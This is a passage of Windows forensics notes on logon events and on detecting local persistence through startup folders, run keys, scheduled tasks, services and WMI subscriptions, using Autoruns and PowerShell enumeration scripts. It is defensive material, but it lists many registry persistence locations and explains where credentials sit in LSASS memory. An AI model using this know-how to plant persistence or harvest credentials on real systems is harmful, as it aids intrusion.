| 5          | Service logon (service startup)                                                                                                                                                                                                                                                                                |
| 7          | Unlock (on screen unlocking)                                                                                                                                                                                                                                                                                   |
| 8          | NetworkCleartext authentication (usually HTTP basic authentication)                                                                                                                                                                                                                                            |
| 9          | NewCredentials authentication (does not seem to be in use)                                                                                                                                                                                                                                                     |
| 10         | RemoteInteractive authentication (Terminal Services, Remote Desktop or Remote Assistance)                                                                                                                                                                                                                      |
| 11         | CachedInteractive authentication (logging using cached credentials when a domain controller cannot be reached)                                                                                                                                                                                                 |

**Interactive logons (`Logon type 2` and `Logon type 10`) will result in the storing of the given users secrets (`NTLM` hash or `Kerberos` tickets) in `LSASS` memory.** Knowing which users logged on interactively on a system can help determine which accounts could be compromised following the takeover of a system by an attacker.

The `ImpersonationLevel` field may take the following values:

| Flag     | Correspondence      | Description                                                                                                                         |
| -------- | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `-`      | `SecurityAnonymous` | The server process cannot obtain security information about the client.                                                             |
| `%%1832` | `Identification`    | The server process can obtain information about the client but cannot impersonate the client and thus the client has no privileges. |
| `%%1833` | `Impersonation`     | The server process can obtain information and impersonate the client's security context on the local system.                        |
| `%%1840` | `Delegation`        | The server process can impersonate the client's security context on remote systems.                                                 |

**Security Event ID 4672**

Location: destination machine `Security.evtx`.\
Event ID: `4672: Special privileges assigned to new logon`.

This event occurs whenever an account is assigned one, or more, of the following privileges:

* SeTcbPrivilege
* SeBackupPrivilege
* SeCreateTokenPrivilege
* SeDebugPrivilege
* SeEnableDelegationPrivilege
* SeAuditPrivilege
* SeImpersonatePrivilege
* SeLoadDriverPrivilege
* SeSecurityPrivilege
* SeSystemEnvironmentPrivilege
* SeAssignPrimaryTokenPrivilege
* SeRestorePrivilege
* SeTakeOwnershipPrivilege

The `SubjectLogonId` field can be correlated with the `Security` event `EID: 4624` in order to retrieve more information on the logon session.

**Security Event ID 4634 / 4647**

Location: destination machine `Security.evtx`.\
Event ID: `4634: An account was logged off`\
Event ID: `4647: User initiated logoff`.

**Security Event ID 4648**

Windows Security Log Event ID 4648 `4648: A logon was attempted using explicit credentials` Logged on client. Includes information about the target server: `Target Server Name` (hostname or IP) and `Additional Information` of the service requested.

***

### References

<https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=\\>\* <https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738> <https://docs.microsoft.com/fr-fr/windows/security/threat-protection/auditing/event-4624> <https://docs.microsoft.com/fr-fr/windows/security/threat-protection/auditing/event-4688>


# Local persistence

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Sysinternals' Autoruns

The `Autoruns` utility of the `Sysinternals` suite has the most comprehensive knowledge of auto-starting locations on Windows hosts.

The following ASEP are notably listed:

* Startup folders
* ASEP registries
* Services
* Scheduled tasks
* Drivers
* WMI providers
* Internet explorer extensions

`Autoruns` verifies the digital signatures of the files and white list the files signed by known editors. The files appearing in yellow are usually missing and the files appearing in red are usually not digitally signed or not by a known editor.

Note that `Autoruns` **DOES NOT check the loaded DLL** by the programs that are run from ASEP.

**CLI AutorunsC**

The `AutorunsC` utility can be used to run `Autoruns` in CLI mode either on live host **or on read-write partition mounted from a disk image**.

The `Arsenal-Image-Mounter` open source utility can be used to mount disk images to a partition for offline ASEP analysis. However, the verification of files signature from trusted providers does not work as well as on live hosts.

```
# All ASEP (-a) exported to CSV (-c) format with VirusTotal digital signature verification (-v), exclusion of digitally signed Microsoft entries (-m) and files hashes.

# Live hosts
Autorunsc.exe -a * -c -v -m -s -h

# From a mounted partition
Autorunsc.exe -a * -c -v -m -s -h -z <PARTITION_DRIVE_LETTER>
```

### Local accounts

*This section only covers local accounts / groups and does not include persistence through Active Directory domain accounts / groups.*

While not directly allowing remote code execution, local accounts may be used as a mean of persistence, notably on machine exposing remote access services, such as `SMB` or `Terminal Services`, on the Internet.

**Live forensics**

The Windows built-in `net` utility can be used to enumerate local users and local groups:

```
# Enumerates the local users and the specified user attributes (including the accounts' password last set timestamp).
net user
net user "<Administrator | USERNAME>"

# Enumerates the local groups and the specified group members.
net localgroup
net localgroup "<Administrators | GROUP>"
```

**Registry**

The local users are stored in the `Securiry Account Manager (SAM)` registry database, located at: `%WinDir%\System32\config\SAM`, under the following registry keys:

* `SAM\Domains\Account\Users`

The user's attributes (username, `RID`, Last Password Change, group memberships, etc.) are stored in the `SAM`.

**Windows EVTX logs**

The following events could be indicators of persistence on the machine through local accounts and / or groups:

| Hive            | Event ID | Conditions                                                                                                                                                                                                                                                                                                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Information yield                                                                                                                                  |
| --------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Security.evtx` | 4720     | <p>Default configuration.<br><br>Logged whenever a local account is created.</p>                                                                                                                                                                                                                                                                | <p>Event <code>4720: A user account was created</code>.<br><br>Legacy:<br>Event <code>624: User Account Created</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                    | <p>Creator's domain, username and <code>Logon ID</code>.<br><br>Created user's domaine and username.</p>                                           |
| `Security.evtx` | 4722     | <p>Default configuration.<br><br>Always logged after a Security event <code>4720 - user account creation</code>.</p>                                                                                                                                                                                                                            | <p>Event <code>4722: A user account enabled</code><br><br>Legacy:<br>Event <code>626: User Account Enabled</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                         |                                                                                                                                                    |
| `Security.evtx` | 4723     | <p>By default, only logged whenever an user successfully change their own password.<br><br>Failures logged if <code>Audit User Account Management</code> is set to <code>(Success), Failure</code>.</p>                                                                                                                                         | <p>Event <code>4723: An attempt was made to change an account's password</code>.<br><br>Logged as a success (<code>Audit Success</code>) if the user did change their password (which requires to enter the current correct password).<br><br>Otherwise reported as a failure (<code>Audit Failure</code>) if failures are logged and an error occurred (wrong current password given, new password fails to meet the password policy).<br><br>Legacy:<br>Event <code>627: Change Password Attempt</code>.</p> | <p>Domain, username and <code>Logon ID</code> of the user that performed the password change.<br><br>Target user's domain and username.</p>        |
| `Security.evtx` | 4724     | <p>By default, only logged whenever an user successfully reset the specified user's password.<br><br>Failures logged if <code>Audit User Account Management</code> is set to <code>(Success), Failure</code>.<br>A Failure event is NOT generated if the user gets an <code>Access Denied</code> error while attempting the password reset.</p> | <p>Event <code>4724: An attempt was made to reset an accounts password</code>.<br><br>Logged as a success (<code>Audit Success</code>) if the user did reset the specified user password (which requires elevated rights for local accounts).<br><br>Otherwise reported as a failure (<code>Audit Failure</code>) if failures are logged and the new password failed to meet the password policy.<br><br>Legacy:<br>Event <code>628: User Account password set</code>.</p>                                     | <p>Domain, username and <code>Logon ID</code> of the user that performed the password change.<br><br>Target user's domain and username.</p>        |
| `Security.evtx` | 4738     | <p>Default configuration.<br><br>Logged when an user object attributes are modified (for password change, a successful update / reset).</p>                                                                                                                                                                                                     | <p>Event <code>4738: A user account was changed</code>.<br><br>For password change, update to the <code>Password Last Set</code> field.<br><br>Legacy:<br>Event <code>642: User Account Changed</code>.</p>                                                                                                                                                                                                                                                                                                    | <p>Domain, username and <code>Logon ID</code> of the user that performed the password change.<br><br>Target user's domain and username.</p>        |
| `Security.evtx` | 4732     | <p>Default configuration.<br><br>Logged whenever an account is added to a local security group.</p>                                                                                                                                                                                                                                             | <p>Event <code>4732: A member was added to a security-enabled local group</code>.<br><br>Legacy:<br>Event <code>636: Security Enabled Local Group Member Added</code>.</p>                                                                                                                                                                                                                                                                                                                                     | <p>Domain, username and <code>Logon ID</code> of the user that performed the action.<br><br>Target group and added user's domain and username.</p> |

### Windows startup folders

The Windows startup folders contains shortcut links (`.lnk`) that will be executed upon any user log in (`All Users` start up folder) or when the associated user logs in (`Current Users` start up folders).

**Filesystem**

```
# All Users startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

# Current Users startup folders.
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

The `Everything` tab of the `Sysinternals`' `Autoruns` utility can be used to enumerate the programs starting through Windows startup folders on a live system or on a partition mounted from a disk image.

In addition to the `Sysinternals`' `Autoruns` utility, the following PowerShell script may be used as well:

```
. .\Get-StartupFoldersLnkTargets.ps1

Get-StartupFoldersLnkTargets
Get-StartupFoldersLnkTargets -Drive "F:"
```

```
<#
    .SYNOPSIS
        Get all the starting programs through start up folders

    .DESCRIPTION
      Enumerate all the startup folders lnk using Get-ChildItem and retrieve the lnk targets

    .EXAMPLE
        Get-StartupFoldersLnk -Drive D:
#>

function Get-StartupFoldersLnkTargets {

    param (
        [Parameter(Mandatory=$false)]
        [string]$Drive = "C:"
    )

    $Shell = New-Object -ComObject WScript.Shell

    Get-ChildItem -Force "$Drive\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" -ErrorAction SilentlyContinue | ForEach-Object {
        [pscustomobject]@{
            LnkFullPath = $_.FullName
            LnkTarget = $Shell.CreateShortcut($_).TargetPath
        }
    }

    $Usernames = Get-ChildItem -Force "$Drive\Users" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty  Name

    foreach ($Username in $Usernames) {
	    Get-ChildItem -ErrorAction SilentlyContinue -Force "$Drive\Users\$Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" | ForEach-Object {
            [pscustomobject]@{
                LnkFullPath = $_.FullName
                LnkTarget = $Shell.CreateShortcut($_).TargetPath
            }
        }
    }
}
```

### ASEP registry keys

A number of registry keys, known as `Auto-Start Extensibility Points (ASEP)` registry keys, are run whenever the system is booted or a specific user logs in. The `ASEP` keys under `HKEY_LOCAL_MACHINE (HKLM)` are run every time the system is started, while the `ASEP` keys under `HKEY_CURRENT_USER (HKCU)` are only executed when the user associated with the keys logs on to the system.

Indeed, each user with a configured profile has an associated `HKCU\<USERNAME>` sub key, which contains the registries keys of the user. The `HKCU` keys are stored in the `%SystemDrive%\Users\<USERNAME\NTUSER.DAT` file.

Each entry is composed of a key and an associated value that may contain a program, and the program arguments if any, to be run.

The `RegistryExplorer.exe` / `RECmd.exe` utilities leverage transaction log files, for example `ntuser.dat.LOG1`, to identify and recover deleted keys / values. The transaction log files must be present in the same directory as the analyzed hive.

The most commons ASEP keys can be automatically checked using the `SysInternals`' GUI `Autoruns` and CLI `AutorunsC` utilities. The `RECmd` CLI utility can also be used to access a predefined list of ASEP registries keys. The `RegistryASEPs.reb` enumerate a comprehensive list of nearly ASEP 500 registry keys and 400 values. The results of `RECmd` can be analyzed using `Timeline Explorer`.

Alternatively, `RegistryExplorer.exe` implements a number of `bookmarks` which are well-known key / value pairs. The `bookmarks` include a number of `ASEP` registry entries.

```
RECmd.exe -d <NTFS_VOLUME | FOLDER_CONTAINING_REGISTRY_HIVES> --bn .\BatchExamples\RegistryASEPs.reb --csv <OUTPUT_FOLDER>
```

The following run keys are commonly used for persistence:

```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Shell
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKLM\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup
HKLM\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Logon
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Taskman
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar
HKLM\System\CurrentControlSet\Services

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Shell
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKCU\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup
HKCU\SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Logon
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
```

**Windows EVTX logs**

The following events could be indicators of execution on the machine of persistence through ASEP registry keys:

| Hive                                             | Event ID                | Conditions                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Description                                                                                                                                            | Information yield                                                                                                                                  |
| ------------------------------------------------ | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Microsoft-Windows-Shell-Core%4Operational.evtx` | <p>9707<br><br>9708</p> | <p>Default configuration.<br><br>Introduced in Windows 10 and Windows Server 2016.<br><br>Logged whenever a program is executed through the <code>Run</code> / <code>RunOnce</code> registry keys.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>Event <code>9707: Started execution of command '\<COMMAND>'</code>.<br><br>Event <code>9708: Finished execution of command '\<COMMAND>'</code>.</p> | <p>Username and domain of the user responsible for the execution.<br><br>Program / command executed.</p>                                           |
| `Security.evtx`                                  | 4657                    | <p>Logged whenever an user modify a registry key for which the audit policy is set to audit usage of the <code>Set Value</code> rights (by the user.)<br><br>Requires:<br><br>- <code>Audit: Force audit policy subcategory settings</code> to be enabled.<br><br>- <code>Audit object access</code> set to <code>Success(, Failure)</code>.<br><br>- The <code>SACL</code> on the ASEP registry keys to define audit on the rights <code>Create Subkey</code>, <code>Set Value</code>, <code>Create Link</code>, <code>Write DAC</code>, and <code>Delete</code> for the user conducting the action (possibly through identity / group membership, such as, for example, <code>Everyone</code>).<br><br><strong>-> very likely not logged.</strong></p> | Event `4657: A registry value was modified`.                                                                                                           | <p>Username, domain, and <code>LogonID</code> of the user conducting the modification.<br><br>Registry key modified and the new value defined.</p> |

### Windows scheduled tasks

Scheduled tasks are used to automatically perform a task on the system whenever the criteria associated to the scheduled task occurs. The scheduled tasks can either be run at a defined time, on repeat at set intervals, or when a specific event occurs, such as the system boot.

Note that a scheduled task can continue to run even if its associated elements in the registry and / or on disk (`XML` files) are deleted. The scheduled task will be fully hidden but will persist until the system is rebooted or the `svchost.exe` process associated with that task is terminated. The `ETW` events generated by the task execution will however still be generated.

**Live forensics**

The `Scheduled Tasks` tab of the `Sysinternals`' `Autoruns` utility can be used to enumerate the programs starting through Windows scheduled tasks. The following DOS and PowerShell utilities may be used as well.

```
# Verbose - includes task name, task to run, status, hostname & logon mode, last run time, running user, periodicity, etc.
schtasks /query /fo LIST /v

# List scheduled task - minimal information
Get-ScheduledTask

# Retrieve information - task name, task to run, next and last run time
Get-ScheduledTaskInfo -TaskName "<TASK_NAME>"
```

The following PowerShell cmdlet can be used to export the configured scheduled tasks to the specified csv file.

Usage:

```
. .\Export_ScheduledTasks.ps1

Export-ScheduledTasksToCsv -OutCsv <CSV_PATH>
```

```
function Export-ScheduledTasksToCsv {

    <#
    .SYNOPSIS
      Export the configured scheduled tasks to a csv using Get-ScheduledTask and Get-ScheduledTaskInfo

    .PARAMETER OutCsv
      File to export the CSV

    #>

    Param(
    [Parameter(Mandatory=$true)]
    [string] $OutCsv
    )

    Get-ScheduledTask |
        ForEach-Object { [pscustomobject]@{
            Server = $env:COMPUTERNAME
            Name = $_.TaskName
            Path = $_.TaskPath
            Description = $_.Description
            Author = $_.Author
            RunAsUser = $_.Principal.userid
            LastRunTime = $(($_ | Get-ScheduledTaskInfo).LastRunTime)
            LastResult = $(($_ | Get-ScheduledTaskInfo).LastTaskResult)
            NextRun = $(($_ | Get-ScheduledTaskInfo).NextRunTime)
            Status = $_.State
            Command = $_.Actions.execute
            Arguments = $_.Actions.Arguments }
     } | Export-Csv -Path $OutCsv -NoTypeInformation
}
```

**Filesystem**

The scheduled tasks are stored in human readable `XML` file on the following location, depending on the Windows Operating System in use:

* <= `Windows XP` / `Windows Server 2003` (`Task Scheduler 1.0`): `C:\Windows\Tasks`
* Starting from `Windows 7` / `Windows Server 2008` (`Task Scheduler 2.0`): `C:\Windows\System32\Tasks`

**Registry**

The scheduled tasks are stored under the following registry keys (as listed in the `ASEP registry keys` section), located at `%WinDir%\System32\config\SOFTWARE`:

* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks`
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree`

**Windows EVTX logs**

The following events could be indicators of persistence on the machine through scheduled tasks:

| Hive                                                | Event ID                                                    | Conditions                                                                                                                                                                                | Description                                                                                                                                                                                                                                                                                                                                                                                     | Information yield                                                                                                                                                                                                                                            |                                                                  |
| --------------------------------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------- |
| `Microsoft-Windows-TaskScheduler%4Operational.evtx` | 106                                                         | <p>Introduced in <code>Windows 7</code> / <code>Windows 2008</code>.<br><br>Logged whenever a scheduled task is registered.</p>                                                           | <p>Event <code>106: User "\<DOMAIN                                                                                                                                                                                                                                                                                                                                                              | WORKGROUP>\&#x3C;USERNAME>" registered Task Scheduler task "\&#x3C;TASK\_NAME>"</code>.<br><br>Can be correlated, after execution of the task, with an event <code>200</code> / <code>201</code> to determine the scheduled task's executable full path.</p> | <p>Registering user's domain and username.<br><br>Task name.</p> |
| `Microsoft-Windows-TaskScheduler%4Operational.evtx` | 200                                                         | <p>Introduced in <code>Windows 7</code> / <code>Windows 2008</code>.<br><br>Logged whenever a scheduled task is executed.</p>                                                             | <p>Event <code>200: Task Scheduler launched action "\<EXECUTABLE>" in instance "\<GUID>" of task "\<TASKNAME>"</code>.<br><br>The task name can be used to correlate the executed task with an event <code>106</code> to identify the user that registered the task.</p>                                                                                                                        | Executed task's name and executable full path.                                                                                                                                                                                                               |                                                                  |
| `Microsoft-Windows-TaskScheduler%4Operational.evtx` | 201                                                         | <p>Introduced in <code>Windows 7</code> / <code>Windows 2008</code>.<br><br>Logged whenever a scheduled task finish its execution.</p>                                                    | <p>Event <code>201: Task Scheduler successfully completed task "\<TASKNAME>" , instance "\<GUID>" , action "\<EXECUTABLE>" with return code \<INT>"</code>.<br><br>Similarly to event <code>200</code>, the task name can be used to correlate the executed task with an event <code>106</code> to identify the user that registered the task.</p>                                              | Executed task's name, executable full path and execution return code.                                                                                                                                                                                        |                                                                  |
| `Microsoft-Windows-TaskScheduler%4Operational.evtx` | 140                                                         | <p>Introduced in <code>Windows 7</code> / <code>Windows 2008</code>.<br><br>Logged whenever a scheduled task is updated.</p>                                                              | Event `140: User "<DOMAIN \| WORKGROUP>\<USERNAME>" updated Task Scheduler task "<TASKNAME>"`.                                                                                                                                                                                                                                                                                                  | Domain and username of the user that conducted the update.                                                                                                                                                                                                   |                                                                  |
| `Microsoft-Windows-TaskScheduler%4Operational.evtx` | 141                                                         | <p>Introduced in <code>Windows 7</code> / <code>Windows 2008</code>.<br><br>Logged whenever a scheduled task is deleted.</p>                                                              | Event `141: User "<DOMAIN \| WORKGROUP>\<USERNAME>" deleted Task Scheduler task "<TASKNAME>"`.                                                                                                                                                                                                                                                                                                  | Domain and username of the user that deleted the task.                                                                                                                                                                                                       |                                                                  |
| `Security.evtx`                                     | <p>4698<br><br>4700<br><br>4701<br><br>4702<br><br>4699</p> | <p>Requires:<br><br><code>Audit: Force audit policy subcategory settings</code> to be enabled.<br>And <code>Other Object Access Events</code> set to <code>Success(, Failure)</code>.</p> | <p>Event <code>4698: A scheduled task was created</code>.<br><br>Event <code>4700: A scheduled task was enabled</code>.<br><br>Event <code>4701: A scheduled task was disabled</code>.<br><br>Event <code>4702: A scheduled task was updated</code>.<br><br>Event <code>4699: A scheduled task was deleted</code>.<br><br>Legacy:<br>(Only) event <code>602: Scheduled Task created</code>.</p> | <p>Domain, username and Logon ID of the user that performed the action.<br><br>Impacted scheduled task detailed information: task name, action(s), trigger(s), privileges, etc.</p>                                                                          |                                                                  |

### Windows services

In Windows NT operating systems, a Windows service is a computer program that operates in the background, similarly in concept to a Unix daemon.

A Windows service must conform to the interface rules and protocols of the `Service Control Manager (SCM)`, the component responsible for managing Windows services. Windows services can be configured to start with the operating system, manually or when an event occur.

**Live forensics**

The `Services` tab of the `Sysinternals`' `Autoruns` utility can be used to detect and delete service-related persistence. Information about the configured services can also be retrieved using `WMI`:

```
Get-WmiObject -Class win32_service | Select-Object Name, DisplayName, PathName, StartName, StartMode, State, TotalSessions, Description

wmic service list config
```

**Registry**

The Windows services are stored under the following registry keys (as listed in the `ASEP registry keys` section), located at `%WinDir%\System32\config\SYSTEM`:

* `HKLM\SYSTEM\CurrentControlSet\Services\<SERVICE_NAME>`

The registry keys hold the configuration information of the Windows services: name, display name, start mode, service type, image path, required privileges if any, etc.

The last written timestamp of the service sub key indicates the service creation or last modification time.

**Windows EVTX logs**

The following events could be indicators of persistence on the machine through Windows services:

| Hive            | Event ID | Conditions                                                                                                                                                                                                                                                                                                             | Description                                                                                                                                                                       | Information yield                                                                                                                                                                                                            |
| --------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `System.evtx`   | 7045     | <p>Default configuration.<br><br>Logged whenever a Windows service is created on the machine.</p>                                                                                                                                                                                                                      | Event `7045: A service was installed in the system`.                                                                                                                              | <p>Domain and username of the user that installed the service.<br><br>Information on the installed service: name, file name, type, start type and executing account.</p>                                                     |
| `Security.evtx` | 4697     | <p>Introduced in Windows Server 2016 and Windows 10.<br><br>Requires:<br><br><code>Audit: Force audit policy subcategory settings</code> to be enabled.<br>And <code>Other Object Access Events</code> set to <code>Success(, Failure)</code>.<br><br>Logged whenever a Windows service is created on the machine.</p> | <p>Event <code>4697: A service was installed in the system</code>.<br><br>Legacy (Windows Server 2003 and Windows XP):<br>Event <code>601: Attempt to install service</code>.</p> | <p>Domain, username and Logon ID of the user that performed the action.<br>-> Often marked as <code>SYSTEM</code>.<br><br>Information on the installed service: name, file name, type, start type and executing account.</p> |
| `System.evtx`   | 7036     | <p>Default configuration.<br><br>Logged whenever a Windows service is effectively running / stopped.</p>                                                                                                                                                                                                               | Event `7036: The <SERVICE_NAME> service entered the <running/stopped> state`.                                                                                                     | The name of the concerned service and the account used to execute the service (which may not be the account that instructed the service to start / stop).                                                                    |
| `System.evtx`   | 7035     | <p>Logged only on <= <code>Windows XP</code> and <code>Windows Server 2003</code>.<br><br>Logged whenever a Windows service is instructed to start / stop.</p>                                                                                                                                                         | Event `7035: The <SERVICE_NAME> service was successfully sent a <start/stop> control`.                                                                                            | The name of the concerned service and the account that instructed the service to start / stop (which is likely different that the account under which the service is executed).                                              |
| `System.evtx`   | 7040     | <p>Default configuration.<br><br>Logged whenever there is a change to a service start type.</p>                                                                                                                                                                                                                        | Event `7040: The start type of the <SERVICE_NAME> service was changed from demand <OLD_START_TYPE> to <NEW_START_TYPE>`.                                                          | The name of the concerned service and the account that modified the service.                                                                                                                                                 |
| `System.evtx`   | 7030     | <p>Introduced in Windows Vista and Windows Server 2008.<br><br>Logged whenever a service is configured as an interactive service, which is not supported since Windows Vista and Windows Server 2008 (du to security risks posed by interactive services).</p>                                                         | Event `7030: The <SERVICE_NAME> service is marked as an interactive service`.                                                                                                     |                                                                                                                                                                                                                              |

### WMI event subscriptions

`Windows Management Instrumentation (WMI)` allows, through `Event Subscription`, to maintain persistence on a Windows system. Permanent `WMI` event subscriptions can be configured to persist across reboots.

Permanent event subscriptions are composed of:

* An `event filter`, which is the event of interest that will trigger the consumer. Such event can be, for example, a logon success or system startup.
* An `event consumer`, which is the action to perform upon trigger of the event filter.\
  Five Consumer classes are available:
  * The `ActiveScriptEventConsumer` class that run arbitrary `VBScript` or `JScript` code.
  * The `CommandLineEventConsumer` class that run an arbitrary system command.
  * The `LogFileEventConsumer` class that write an arbitrary string to a text-based log file.
  * The `NtEventLogEventConsumer` class that write an arbitrary Windows `ETW` event.
  * The `SMTPEventConsumer` class that send an email.
* A `filter to consumer binding` (`FilterToConsumerBinding`) which is the registration mechanism binding an event filter to an event consumer.

**Live forensics**

The `WMI` tab of the `Sysinternals`' `Autoruns` utility can be used to detect and delete WMI-related persistence. The WMI event subscriptions can also be enumerated with the PowerShell cmdlet `Get-WMIObject`:

```powershell
# From PowerShell forensic framework Kansa
ForEach ($NameSpace in "root\subscription","root\default") { Get-WMIObject -Namespace $Namespace -Query "SELECT * FROM __EventFilter" }
ForEach ($NameSpace in "root\subscription","root\default") { Get-WMIObject -Namespace $Namespace -Query "SELECT * FROM __EventConsumer" }
ForEach ($NameSpace in "root\subscription","root\default") { Get-WMIObject -Namespace $Namespace -Query "SELECT * FROM __FilterToConsumerBinding" }
```

**Process execution**

The following process are related to `WMI` activity:

* `wmic.exe`: command line utility to interact with `WMI` (locally or on a remote computer). The `process call` can indicate that process creation is done using `WMI` and `/node` can be used to specify a remote computer.
* `WmiPrvSE.exe`: `WMI Provider Host` process spawn as a result of `WMI Event Subscription` execution. Suspicious child process of `WmiPrvSE.exe` (such as `powershell.exe` or `cmd.exe`) can be an indicator of persistence through `WMI`.
* `scrcons.exe`: `WMI Standard Event Consumer` process that spawn for `ActiveScriptEventConsumer` execution.
* `wsmprovhost.exe`: indicator of PowerShell remoting activity (not particularly relevant to detect local persistence).

As `WMI` can be used legitimately in the environment, the execution of a `WMI` related program may not necessarily be an indicator of malicious activity.

**Filesystem**

The persistent `WMI Event Subscription` are written to disk in the (undocumented) `WMI` Repository files at `%WINDIR%\System32\wbem\Repository\` / `%WINDIR%\System32\wbem\Repository\FS\`:

* `OBJECTS.DATA`: contains the `CIM objects` with, among other things, the event subscriptions data (event consumer, filter, and filter to consumer binding).
* `INDEX.BTR`: paged file in B-tree struct, "used to efficiently lookup CIM entities in the objects.data file". May contain
* `MAPPING<1-3>.MAP`: correlate / map pages from `OBJECTS.DATA` and `INDEX.BTR`.

All three files are required to properly conduct forensics analysis on WMI persistence.

`WMI Event Subscription` data can be extracted from `OBJECTS.DATA` files using the [`PyWMIPersistenceFinder`](https://github.com/davidpany/WMI_Forensics) Python script (that rely on regexes to extract the data):

```bash
PyWMIPersistenceFinder.py <OBJECTS.DATA_FILE>
```

If a deeper analysis is required, for example if a consumer reference other `WMI` objects, [`python-cim`](https://github.com/mandiant/flare-wmi) can be leveraged to extract data from the `WMI` repository:

```
python3 samples/dump_class_layout.py win7 "<WMI_REPOSITORY_FOLDER>" "<ROOT\cimv2 | WMI_NAMESPACE>" "<WMI_CLASS_NAME>"
```

**Windows EVTX / text logs**

| Hive                                                                      | Event ID                                                                                 | Conditions                                                                                                                                                                                              | Description                                                                                                                                                                   | Information yield                                                                                                                                   |
| ------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
